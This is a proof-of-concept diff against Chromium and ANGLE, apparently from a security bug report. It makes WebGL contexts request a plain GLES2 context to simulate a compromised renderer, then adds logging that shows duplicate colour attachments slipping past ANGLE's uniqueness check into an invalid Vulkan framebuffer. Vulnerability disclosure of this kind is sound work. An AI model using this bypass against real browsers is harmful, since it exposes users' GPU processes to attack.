diff --git a/services/viz/public/cpp/gpu/context_provider_command_buffer.cc b/services/viz/public/cpp/gpu/context_provider_command_buffer.cc index fc497204ee7bb..33bb87baa9a87 100644 --- a/services/viz/public/cpp/gpu/context_provider_command_buffer.cc +++ b/services/viz/public/cpp/gpu/context_provider_command_buffer.cc @@ -128,12 +128,21 @@ ContextProviderCommandBuffer::CreateForWebGL( attributes->fail_if_major_perf_caveat = fail_if_major_performance_caveat; + // POC INJECTION: Simulate a compromised renderer requesting a non-WebGL + // GLES context over GpuChannel IPC. The GPU process accepts + // gpu::mojom::ContextType::kOpenGLES2 from renderers (FromMojom in + // gpu/ipc/common/context_type_mojom_traits.h:39 — note kOpenGLES3 is + // blocked there by NOTREACHED()). The resulting ANGLE context has + // webglCompatibilityANGLE == false, so the frontend duplicate-colour- + // attachment uniqueness check (libANGLE/Framebuffer.cpp:1591) is bypassed. + // Multiple colour attachments are reachable on ES2 via GL_EXT_draw_buffers, + // which ANGLE-Vulkan exposes (vk_caps_utils.cpp:368). switch (context_type) { case WebGLContextType::kWebGL1: - attributes->context_type = gpu::CONTEXT_TYPE_WEBGL1; + attributes->context_type = gpu::CONTEXT_TYPE_OPENGLES2; break; case WebGLContextType::kWebGL2: - attributes->context_type = gpu::CONTEXT_TYPE_WEBGL2; + attributes->context_type = gpu::CONTEXT_TYPE_OPENGLES2; break; } diff --git a/ui/gl/gl_display.cc b/ui/gl/gl_display.cc index 06f8b6cab6e65..344bc4f7df11d 100644 --- a/ui/gl/gl_display.cc +++ b/ui/gl/gl_display.cc @@ -136,8 +136,12 @@ EGLDisplay GetPlatformANGLEDisplay( } display_attribs.push_back(EGL_PLATFORM_ANGLE_DEBUG_LAYERS_ENABLED_ANGLE); + // POC INSTRUMENTATION: force-enable Vulkan Validation Layers so the + // VUID violation is reported by VVL. (Diagnostic only — VVL is off in + // production for performance, not security; the underlying valid-usage + // violation reaches the driver regardless.) display_attribs.push_back(GetANGLEDebugLayerFlag()->IsSet() ? EGL_TRUE - : EGL_FALSE); + : EGL_TRUE); display_attribs.push_back(EGL_NONE); diff --git a/third_party/angle/src/libANGLE/renderer/vulkan/FramebufferVk.cpp b/third_party/angle/src/libANGLE/renderer/vulkan/FramebufferVk.cpp index 0deef0df8a..a2a5b85b91 100644 --- a/third_party/angle/src/libANGLE/renderer/vulkan/FramebufferVk.cpp +++ b/third_party/angle/src/libANGLE/renderer/vulkan/FramebufferVk.cpp @@ -2237,6 +2237,21 @@ gl::FramebufferStatus FramebufferVk::checkStatus(const gl::Context *context) con gl::err::kFramebufferIncompleteUnsupportedSeparateDepthStencilBuffers); } + // POC INSTRUMENTATION (diagnostic only): log when this function is reached + // with non-unique colour attachments. The frontend uniqueness check is + // gated on webglCompatibilityANGLE (Framebuffer.cpp:1591) so on a + // non-WebGL ES3 context we fall through to here. Unlike FramebufferD3D, + // this function does NOT call colorAttachmentsAreUniqueImages() — so it + // returns Complete and the duplicate attachments proceed to Vulkan. + if (!mState.colorAttachmentsAreUniqueImages()) + { + fprintf(stderr, + "[POC] FramebufferVk::checkStatus: colour attachments are NOT " + "unique (webglCompatibilityANGLE=%d) — returning " + "GL_FRAMEBUFFER_COMPLETE anyway\n", + context->getState().getExtensions().webglCompatibilityANGLE ? 1 : 0); + } + return gl::FramebufferStatus::Complete(); } @@ -3154,6 +3169,35 @@ angle::Result FramebufferVk::createNewFramebuffer(ContextVk *contextVk, ASSERT(currentAttachmentCount == packedAttachments.size()); framebufferInfo.pAttachments = packedAttachments.data(); + // POC INSTRUMENTATION (diagnostic only — does not alter behaviour): + // Detect duplicate VkImageView handles in pAttachments[] before they + // are handed to vkCreateFramebuffer. This proves that ANGLE submits a + // VkFramebuffer with two attachments backed by the same VkImageView + // when the same texture is bound to two colour attachments on a + // non-WebGL ES3 context. ANGLE never sets + // VK_ATTACHMENT_DESCRIPTION_MAY_ALIAS_BIT (vk_cache_utils.cpp:667), + // so this is a Vulkan §8.1 valid-usage violation. + for (size_t i = 0; i < packedAttachments.size(); ++i) + { + for (size_t j = i + 1; j < packedAttachments.size(); ++j) + { + if (packedAttachments[i] == packedAttachments[j] && + packedAttachments[i] != VK_NULL_HANDLE) + { + fprintf(stderr, + "[POC] *** VULKAN VUID VIOLATION: vkCreateFramebuffer " + "pAttachments[%zu] == pAttachments[%zu] == %p " + "(duplicate VkImageView, no MAY_ALIAS_BIT) ***\n", + i, j, (void *)packedAttachments[i]); + fprintf(stderr, + "[POC] attachmentCount=%u renderPass=%p " + "(FramebufferVk::checkStatus did not reject)\n", + framebufferInfo.attachmentCount, + (void *)framebufferInfo.renderPass); + } + } + } + // The cache key (|FramebufferDesc|) can't distinguish between two framebuffers with 0 // attachments but with different sizes. For simplicity, 0-attachment framebuffers are not // cached.